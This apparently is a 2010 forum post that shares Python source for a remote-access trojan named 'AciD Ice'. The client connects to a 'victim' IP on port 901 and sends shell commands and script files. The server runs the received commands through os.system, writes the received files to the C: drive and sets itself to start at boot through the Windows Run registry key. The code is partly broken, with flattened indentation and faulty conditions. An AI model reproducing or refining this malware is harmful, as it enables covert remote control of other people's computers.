Vie Sep 10, 2010 5:10 pm
Cliente:
Server:
- Código:
import socket
import os
#CLIENT
def body():
print "AciD Ice Client V-1.2"
victim_IP = raw_input ("please input an IP to connect to ")
host = victim_IP
port = 901
addr = (victim_IP, 901)
socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if(socket1.connect(addr)):
print "connection Made to remote host =]"
options()
text_finished0 = "cmd"
text_finished2 = "file_vbs"
text_finished3 = "file_bat"
text_finished4 = "file_text"
user_input = ""
while user_input != text_finished0 or text_finished2:
user_input = raw_input("input what you want to do? ")
socket1.send(user_input)
if user_input == text_finished0 or text_finished2 or text_finished3 or textfinished4:
break
options()
user_input = raw_input("What do you want to do? ")
if user_input == "cmd":
text_finished = "done"
file_text = ""
print "When finsihed having fun type 'done n"
while file_text != text_finished:
file_text = raw_input("please input the proper command: \n")
socket1.send(file_text)
if file_text == text_finished:
break
options()
user_input = raw_input("What do you want to do? ")
if user_input == "file_vbs":
text_finished3 = "done"
file_send = ""
print "when done type 'done'"
while text_finished3 != file_send:
file_send = raw_input("input a VISUAL BASIC SCRIPT file to send: \n")
file = open(file_send, "rb")
data = file.read()
file.close()
if(socket1.send(data)):
print file_send,"sent to",victim_IP,"on port 901"
if text_finished3 == file_send:
break
options()
user_input = raw_input("What do you want to do? ")
if user_input == "file_bat":
text_finished4 = "done"
file_send2 = ""
while text_finished4 != file_send2:
file_send2 = raw_input("input a BATCH file to send: \n")
file2 = open(file_send2, "rb")
data2 = file2.read()
file2.close()
if(socket1.send(data2)):
print file_send2,"sent to",victim_IP,"on port 901"
if text_finished4 == file_send2:
break
options()
user_input = raw_input("What do you want to do? ")
if user_input == "file_txt":
text_finished5 = "done"
file_send3 = ""
while text_finished5 != file_send3:
file_send3 = raw_input("input a TEXT file to send: \n")
file3 = open(file_send3, "rb")
data3 = file3.read()
file3.close()
if(socket1.send(data3)):
print file_send3,"sent to",victim_IP,"on port 901"
if text_finished5 == file_send3:
break
options()
user_input = raw_input("What do you want to do? ")
def options():
print "remote cmd line commands = 'cmd' "
print "open/close cd drive (coming soon) "
print "file transfer (vbs) = 'file_vbs' "
print "file transfer (bat) = 'file_bat' "
print "file transfer (txt) = 'file_txt' "
print "keylogger (coming soon) "
print "When finsihed having fun type 'done'"
if __name__ == '__main__':
class mainprog:
body()
Server:
- Código:
#SERVER
import os
import socket
import string
import sys
from _winreg import *
def body():
try:
socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket1.bind((socket.gethostname(), 901))
socket1.listen(5)
conn, addr = socket1.accept()
except socket.error:
print "error with sockets"
data = conn.recv(893892)
try:
file = open("C:\\hacked.vbs","w")
file2 = open("C:\\hacked.bat","w")
file3 = open("C:\\hacked.txt","w")
except IOError:
print "failed to open the programs"
while 1:
if data == "cmd":
data2 = conn.recv(1024)
os.system(data2)
if data == "file_vbs":
data3 = conn.recv(1024)
try:
file.write(data3)
file.close()
except IOError:
print "error"
if data == "file_bat":
data4 = conn.recv(1024)
try:
file2.write(data4)
file2.close()
except IOError:
print "error"
if data == "file_txt":
data5 = conn.recv(1024)
try:
file3.write(data5)
file3.close()
except IOError:
print "error"
def regwrite():
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
SetValueEx(aKey,"AciD Ice",0, REG_SZ, r"C:\Server.exe")
CloseKey(aKey)
CloseKey(aReg)
if __name__ == '__main__':
class mainexecution:
regwrite()
body()